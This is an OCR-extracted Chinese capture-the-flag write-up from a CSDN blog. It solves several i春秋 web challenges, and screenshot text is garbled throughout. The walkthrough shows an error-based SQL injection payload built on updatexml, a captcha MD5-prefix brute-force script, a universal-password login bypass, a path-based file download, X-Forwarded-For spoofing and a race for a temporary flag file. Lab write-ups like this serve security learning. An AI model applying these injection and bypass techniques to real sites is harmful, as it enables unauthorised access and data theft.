i春秋-CTF



VID



查看网页源代码发现有个文件路径

) (i) view-source:h	ttp://106.75.26.211:111/	6			
乌云漏洞搜索 Wo	Objectif Sécurité	ZoomEye - Cybers	🍈 Mac 终端命令大全	Bookmarks	
1 do you kno	w Vulcan Logic	Dumper? fal	se <l inde<="" td=""><td>x.php.txt</td><td>2></td></l>	x.php.txt	2>

访问的看到了有三个参数用get方式提交

 number of ops: 44

 compiled vars: !0 = \$a, !1 = \$b, !2 = \$c

 line # * op
 fetch

 ext return operands

2	0	>	EXT_STMT			
	1		ECHO			'do+you+know+Vulcan+Logic+Dumper%3F%3Cbr%3E'
3	2		EXT STMT			
	3		BEGIN SILENCE		~0	
	4		FETCH R	global	\$1	' GET'
	5		FETCH DIM R		\$2	\$1, 'flag1'
	6		END SILENCE			~0
	7		ASSIGN			10, \$2
4	8		EXT STMT			
	9		BEGIN SILENCE		~4	
	10		FETCH R	global	\$5	' GET'
	11		FETCH DIM R		\$6	\$5, 'flag2'
	12		END SILENCE			~4
	13		ASSIGN			11, \$6
5	14		EXT STMT			
	15		BEGIN SILENCE		~8	
	16		FETCH R	global	\$9	' GET'
	17		FETCH DIM R	2	\$10	\$9, 'flag3'
	18		END SILENCE			~8
	19		ASSIGN			12, \$10
6	20		EXT STMT			
	21		IS EQUAL		~12	10, 'fvhjjihfcv'
	22	2	> JMPZ			~12, ->38
7	23	>	EXT STMT			
	24		IS EQUAL		~13	<pre>!1, 'gfuyiyhioyf'</pre>
	25	2	> JMPZ			~13, ->35
8	26	>	EXT STMT			
	27		IS EQUAL		~14	<pre>!2, 'yugoiiyhi'</pre>
	28	2	> JMPZ			~14, ->32
9	29	>	EXT STMT			
	30		ECHO			'the+next+step+is+xxx.zip'
10	31	2	> JMP			->34
11	32	>	EXT STMT			
	33		ECHO			'false%3Cbr%3E'
13	34	> :	> JMP			->37
14	35	>	EXT STMT			
	36		ECHO			'false%3Cbr%3E'
16	37	> :	> JMP			->40
17	38	>	EXT STMT			

	00		
	39		ECHO
	55		Leno
19	40	>	NOP

在url后提三个参数和对应的值就看到了一个1chunqiu.zip

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INT	C = 🔄 SQL * XSS * Encryption * Encoding * Other *
 Load URL Split URL Execute 	http://106.75.26.211:1111/index.php?flag1=fvhjjihfcv&flag2=gfuyiyhioyf&flag3=yugoiiyhi
	🗌 Enable Post data 📄 Enable Referrer

do you know Vulcan Logic Dumper? the next step is 1chunqiu.zip

http://blog.csdn.net/qq_33398441

访问就可以下载文件



这里需要进行代码审计





这里username处存在注入,他只进行了safe_data处理,我们跟进这个函数



这个代码的意思是在username中找我们输入的车牌号"number",如果找到就替换成空,

\$user	<pre>rname = trim(str_replace(\$number, '', \$username));</pre>			
根据文件路径	访问到登陆界面			
🗲 🛈 🌌 10	16.75.26.211:1111/1chunqiu/login.html	⊽ 😻 🔛 C	8	9、 百度 < ೫K>
 ら云漏洞搜索 INT 	: Wo 💽 Objectif Sécurité 💿 ZoomEye - Cybers 🛅 Mac 终端命令大全 🛞 Bookm <mark>ⓒ = </mark>	arks 📘 Office (OVE-2017	. CSDN-专业IT技术
 Load URL Split URL Execute 	http://106.75.26.211:1111/1chunqiu/login.html			
	Enable Post data Enable Referrer			



http://blog.csdn.net/qq 33398441

•••

Burp Suite Community Edition v1.7.30 - Temporary Project



number=0&username=%00' and updatexml(1,concat(1,(select group_concat(table_name) from information_schem number=0&username=%00' and updatexml(1,concat(1,substr((select * from flag),1,15)),1)#&password=123&sub

GetFlag

() 106.75.26.21	1:2222	🦁 🗱 🛛 C	۵	百度 <೫K>		☆ 自	+ .	1 T	•	- 1	≡
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	Hello, web dog!										
	riene, neb degi										
	Hello, single dog, This is a mini file manager, you can logir	and dow	nload th	ne files and eve	en get the	e flag.					
	Login										
	Hello, single dog, This is a mini file manager, you can login	n and dow	nload th	ne files and eve	en get the	e flag.					

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马云漏洞拨案 Wo	Objectif Securite	200mEye - Cybers	Mac 终端审令大主	Bookmarks	Office CVE-201/	CSDN-专业II 技术	php PHP: foreach - Ma		» Ц
Userna	ime								
Passw	ord								
cubetra	md5(contoba) () 6)-b4	2286							
Cantch	nuo(captona), 0, 0)=040	8400							
ouptor									
Subn	nit								

http://blog.csdn.net/qq_33398441

看到一串代码substr(md5(captcha), 0, 6)=10c6ca 截取验证码MD5加密后的前6位,可以写脚本爆破。但是刚开始笔者陷入了误 区,就是不知道验证码有几位,由哪些字符组成的。但是后来一想,这里应该是服务端接受到我们传过去的验证码,然后进行 MD5加密再进行比较,所以验证码长度就不是那么重要了,但是试了下三位数的验证码能匹配成功的几率很低,所以写了一个 四位验证码的脚本,爆破出来的验证码,随便选一个就可以了。 下面是python脚本代码和笔者的测试结果

import string,hashlib
<pre>a=string.digits+string.lowercase+string.uppercase</pre>
for i in a:
for j in a:
for k in a:
for m in a:

 ④ ✓ 106.75.26.211:2222/action.php?action=login ✓ 乌云漏洞搜索 Wo ◎ Objectif Sécurité ③ ZoomEye - Cybers 颜 Max 	Last login: Fri Jan 19 10:49:36 on ttys000
Username	6360629
Password	
euhetr(md5(cantcha) 0 6)-83d86h	



验证码是爆破出来了,但是用户名和密码呢,尝试了sql注入没有什么结果,但是尝试万能密码登陆,果然进去了



进去之后发现有几个文件可以下载



http://blog.csdn.net/qq_33398441

将a.php下载下来发现内容提示flag is in the web root dir,这里能下载文件就可以看到文件的绝对路径,就可以访问了



来	源: http://106.75.26.211:2222 f=a.php, http://106.75.20	?/file/download.php? 6.211:2222/action.php?
	action=file	-
▶ 名称与扩	展名:	
▶ 注释:		
▶ 打开方式:		
▼ 预览:		
php<br flag is	echo "Do what you want in the web root dir";	to do, web dog,

这里还需要考虑一步,是windows的服务器还是linux的服务器呢,随便访问一个链接就可以发现是Ubuntu,或者用试下路径大小 写,敏感的话就是linux了

(106.75.26.21	1:2222/1.php	
◎ 乌云漏洞搜索 Wo	Objectif Sécurité	ZoomEye - Cyber
	<u>.</u>	

Not Found

The requested URL /1.php was not found on this server.

```
Apache/2.4.7 (Ubuntu) Server at 106.75.26.211 Port 2222
```

那么根据下载链接的参数去访问绝对路径,也可以下载flag.php

(+	106.75.26.21	p		C 🥯	Q linux web根目录路径		
0	乌云漏洞搜索 Wo	Objectif Sécurité	ZoomEye - Cybers	🎆 Mac 终端命令大全	🛞 Bookmarks	Office CVE-201	7 CSDN-专业IT技术

🖻 _var_w	ww_html_f	lag.php		
文件类型	빋: TXT 3	文件 (263 字	节)	
来源:	http://106	.75.26.211:	2222	
您想要 Fi	irefox 如何	处理此文件	?	
○打开	,通过	选择		
○保存	文件	🖸 下载		<mark>浏</mark> 览
□ 以后	自动采用相	同的动作处	理此类文件。	

flag.php的代码如下,意思是用POST提交flag参数,当flag=flag时,会输出一个文件的内容

因为flag.php在根目录,那么直接访问,然后提交POST参数,没有什么反应

() 106.	75.26.211:2222/flag.php	- 🖉 🐹 🛛 C 🛛 🛞
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INT	📀 😑 👳 SQL* XSS* Encryption* Encoding* Other*	
 Load URL Split URL Execute 	http://106.75.26.211:2222/flag.php	
	🗹 Enable Post data 🗌 Enable Referrer	
Post data	flag=flag;	

http://blog.csdn.net/qq_33398441

那就用burp试一下

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Ex	tender Project options User options Alerts Sqlmap
Go Cancel < ▼	Target: http://106.75.26.211
Request	Response
Raw Params Headers Hex	Raw Headers Hex
POST /flag.php HTTP/1.1	A HTTP/1.1 200 OK
Host: 106.75.26.211:2222	Date: Fri, 19 Jan 2018 03:30:23 GMT
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101	Server: Apache/2.4.7 (Ubuntu)
Firefox/52.0	X-Powered-By: PHP/5.5.9-1ubuntu4.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	Content-Length: 63
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3	Connection: close
Accept-Encoding: gzip, deflate	Content-Type: text/html
Cookie: PHPSESSID=1csvkgroq8mlrc5nol8sfl0iu1	
X-Forwarded-For: 127.0.0.1	php</td
Connection: close	<pre>\$flag="flag{d6eb81a1-9859-aadf-8af4-a9ad8cb3e21e}";</pre>
Upgrade-Insecure-Requests: 1	?>
Content-Type: application/x-www-form-urlencoded	
Content-Length: 10	
<pre>flag=flag;</pre>	http://blog.csdn.net/qq_33398441

好的,那个文件的内容中就有flag了

天下武功唯快不破

访问网站之下就有这些代码,意思是去访问这个flag.php,内容会传到生成的文件名中,文件名的路径需要拼接url+u/+md5(随机数)+txt,而且这个文件名生成10s后会删除

(106.75.26.211:3333	🦁 🔣 🛛 C
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php</td <td></td>	
<pre>header("content-type:text/html;charset=utf-8");</pre>	
'�����书Ψ�쳍��';	
<pre>setcookie('token', 'hello');</pre>	
<pre>show_source(FILE);</pre>	
if (\$_COOKIE['token']=='hello'){	
<pre>\$txt = file_get_contents('flag.php');</pre>	
<pre>\$filename = 'u/'.md5(mt_rand(1,1000)).'.txt';</pre>	
file_put_contents(\$filename,\$txt);	
<pre>sleep(10);</pre>	
unlink(\$filename);	
http://blog.csdn.net/qq_3	3398441

写一个脚本,请求链接的时候拼接这个文件名,这里就有一点运气成分在了,可能会跑不出来,但是多试几次就可以了 下面是python脚本代码和笔者的测试结果





pyscript



这里可以提交,但是尝试了几下发现没有什么反应

用burp抓包,这里有两个地方,go一次这两个地方的内容都会变,sha1(3个数字+每次提交都会变的明文)=每次提交都会变的Ciphertext



写一个自动发包脚本在数据包中自动去获取明文和密文进行加密匹配,虽然只有10s,3个数字去匹配的时间还是够的下面是python脚本代码和笔者的测试结果



fuzzing

(106.75.108.1	11:2222/test.php				V 88	C
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there is nothing						

1 / /	1 1	1		00000441
http://		rean	not/aa	333 <u>4</u> 84441
11000.77	UTUS.			00000111

抓包重放之后看到有一个大内网的提示,就需要修改X-Forwarded-For,ip为10.0.0.1段的去访问

1 × 2 ×	
Go Cancel < v > v	Target: http://106.75.108.111:2222
Request	Response
Raw Params Headers Hex	Raw Headers Hex
GET /test.php HTTP/1.1	HTTP/1.1 200 0K
Host: 106.75.108.111:2222	Date: Fri. 19 Jan 2018 03:57:56 GMT



修改之后访问到了需要一个key

Burp Intruder Repeater Window Help Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts Sqlmap 1 × 2 × 3 × 4 Cancel < | v > | v Go Target: http://106.75.108.111 Request Response Raw Headers Hex Raw Params Headers Hex ET /m4nage.php HTTP/1.1 HTTP/1.1 200 OK lost: 106.75.108.111:2222 Date: Fri, 19 Jan 2018 06:13:23 GMT Jser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.22 jecko/20100101 Firefox/52.0 \ccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Content-Length: 16 \ccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Connection: close Accept-Encoding: gzip, deflate Content-Type: text/html Cookie: PHPSESSID=5i2uq9usj2m48tjtvap0817qt7 (-Forwarded-For: 10.0.0.1 show me your key Connection: close Jpgrade-Insecure-Requests: 1 lache-Control: max-age=0

那就POST传一个key试试看,每次放包的时候都要注意X-Forwarded-For要修改为10.0.0.1,这里提示key不正确,正确的key是 ichunqiu+(5个数字和字母)加密后为5a2a7d385fdaad3fabbe7b11c28bd48e

INT S = & S	QL × XSS + Encryption + Encoding + Other +	
Split URL	Dura Outra Orananiata Editio	- 4700 Terrere Desiret
Execute	Burp Suite Community Editio	n VI.7.30 - Temporary Project
1 Enable P	Taxaat Braun Chidar Scannar Intruder Banaster Scannarer Dacader Comm	aver Extender Project entions Hear entions Alerts Colman
Post data key=key;	Target Proxy Spider Scamer intruder Repeater Sequencer Decoder Comp $1 \times 2 \times 3 \times 4 \times 5 \times 6 \times 7 \times 8 \times 9 \times \dots$	are Extender Project options User options Aferts Sqimap
	Go Cancel < v > v	Target: http://106.75.108.111:2222
	Request	Response
	Raw Params Headers Hex	Raw Headers Hex
	POST /m4nage.php HTTP/1.1	HTTP/1.1 200 0K
	Host: 106.75.108.111:2222	Date: Fri, 19 Jan 2018 06:21:19 GMT
	Gecko/20100101 Firefox/52.0	X-Powered-By: PHP/5.5.9-1ubuntu4.22
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh=CN.zh:g=0.8.en=US:g=0.5.en:g=0.3	Vary: Accept-Encoding
	Accept-Encoding: gzip, deflate	Connection: close
	Cookie: PHPSESSID=5i2uq9usj2m48tjtvap0817qt7 X-Forwarded-For: 10.0.0.1	Content-Type: text/html
	Connection: close	key is not right, md5(key)==="5a2a7d385fdaad3fabbe7b11c28bd48e", and the
	Opgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded	key 15 1chund1u[a-20-9]{5}
	Content-Length: 8	3
	key=key;	

爆破出来key为ichunqiu618ok,再次提交就看到提示访问这个x0.txt

(106.75.108.111:2222/x0.txt	🦁 認 🗊 C 🧕 🤇 C, 百度 <೫K>	☆自∔●合	գ +, - 👩 - 🗧
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<pre>function authcode(\$string, \$operation = 'DECODE', \$key = '', \$ckey_length = 4;</pre>	, \$expiry = 0) {		
<pre>\$key = md5(\$key ? \$key : UC_KEY); \$keya = md5(substr(\$key, 0, 16)); \$keyb = md5(substr(\$key, 16, 16)); \$keyc = \$ckey_length ? (\$operation == 'DECODE' ? sub '';</pre>	<pre>bstr(\$string, 0, \$ckey_length) : substr(</pre>	md5(microtime()), -\$ck	ey_length)) :
<pre>\$cryptkey = \$keya . md5(\$keya . \$keyc); \$key_length = strlen(\$cryptkey);</pre>			
<pre>\$string = \$operation == 'DECODE' ? base64_decode(sub 0) . substr(md5(\$string . \$keyb), 0, 16) . \$string; \$string_length = strlen(\$string);</pre>	<pre>ostr(\$string, \$ckey_length)) : sprintf('</pre>	<pre>%010d', \$expiry ? \$exp</pre>	iry + time() :
<pre>\$result = ''; \$box = range(0, 255);</pre>			
<pre>\$rndkey = array(); for (\$i = 0; \$i <= 255; \$i++) {</pre>	h]);		
<pre>for (\$j = \$i = 0; \$i < 256; \$i++) { \$j = (\$j + \$box[\$i] + \$rndkey[\$i]) % 256; \$tmp = \$box[\$i]; \$box[\$i] = \$box[\$j]; \$box[\$i] = \$tmp; \$tmp; \$tmp; \$tmp; \$</pre>			
}			
<pre>for (\$a = \$j = \$i = 0; \$i < \$string_length; \$i++) {</pre>	<pre>px[\$a] + \$box[\$j]) % 256]));</pre>		
}			
<pre>if (\$operation == 'DECODE') {</pre>	<pre>\$result, 0, 10) - time() > 0) && substr(</pre>	<pre>\$result, 10, 16) == http://blog.csdn.n</pre>	

flag是需要通过这个php脚本来解密的

③ 106.75.108.111:23	222/xx00xxo	o.php					V 88	× 🤕	Q、百度 <೫K>		☆自	+ 🛛 🕆	박 🍕 🖙 🔯 🖙
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•••					Burp Su	uite Commun	ity Edition v1.7	30 - Tempor	rary Project				
Burp Intruder R	epeater V	Vindow H	elp										
Target Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts	Sqlmap	
	4 × 5	× 6 ×	7 × 8 ×	9 × 10	× 11 × 1	2 × 13 ×							
Go Car	ncel <	(v) >	• •							Target:	http://1	06.75.108	3.111:2222 🔎
Request							F	esponse	2				
Raw Params	Headers	Hex						Raw Head	ders Hex				
GET /xx00xx00.pl	hp HTTP/1	. 1					A HT	TP/1.1 200	9 OK				



将php代码放到本地环境中,传入两个参数,就可以得到flag了

_					
1	曰(P) (P) (P) (P) (P) (P) (P) (P) (P) (P)				
2	2				
3	3 #\$key = 'ichungiu618ok'				
4	4 🕴 function authcode string='10cesTqqpx9zcWQDaNFUo2390dJwzqULtGvH4C91csQP08HyFU9gHaR8WJMhpyx/goRTT8Hi5inhs/yZQf0B4A3LkBtkTA', \$operation = 'DECODE', \$key = 'ichunqiu6				
5	5 \$ckey length = 4;				
6					
7	<pre>\$key = md5(\$key ? \$key : UC KEY);</pre>				
8	<pre>\$keyA = md5(substr(\$key, 0, 16));</pre>				
9	<pre>\$keyb = md5(substr(\$key, 16, 16));</pre>				
10	\$keyc = \$ckey length ? (\$operation == 'DECODE' ? substr(\$string, 0, \$ckey length) : substr(md5(microtime()), -\$ckey length)) : '';				
11					
12	<pre>\$cryptkey = \$keya . md5(\$keya . \$keyc);</pre>				
13	<pre>\$key length = strlen(\$cryptkey);</pre>				
14					

📄 5. ph	p 🖸		http://localhost/5.php × +
17		<pre>Sresult = '';</pre>	(♠ ① localhost/5.php ♥ 器 ● C ⑧
19 20		<pre>\$box = range(0, 255);</pre>	B 最常访问 10 PPT模板下载_免费PP N 辅助作者从程序方面 N 从程序员角
21		<pre>\$rndkey = array(); for (\$i = 0; \$i <= 255</pre>	INT - SQL- XSS- Encryption- Encoding- Other-
23	T	<pre>\$rndkey[\$i] = ord(</pre>	Coad URL
24		}	8 Split URL
26	þ	<pre>for (\$j = \$i = 0; \$i < Si = (\$i + Sbox[\$i</pre>	• Execute
28		<pre>\$tmp = \$box[\$i];</pre>	
30		<pre>\$box[\$1] = \$box[\$] \$box[\$j] = \$tmp;</pre>	flag{bf9c/1de-9852-93a0-9852-a23bc0/dd12e}
31 32	-	}	
33 34	自	for $(\$a = \$j = \$i = 0;$ \$a = (\$a + 1) \$ 25	
35		\$j = (\$j + \$box[\$a	
36		<pre>\$tmp = \$box[\$a]; \$box[\$a] = \$box[\$j]</pre>	
38 39		<pre>\$box[\$j] = \$tmp; \$result .= chr(ord</pre>	
40 41		}	
42	Ē	if (\$operation == 'DEC	
43	F	return substr(
45 46		<pre>} else { return '';</pre>	
47	-	}	
49		return \$keyc . str	
50	E,	}	
52 53	ech	o authcode()	http://blog.esdp.pet/gg_33398441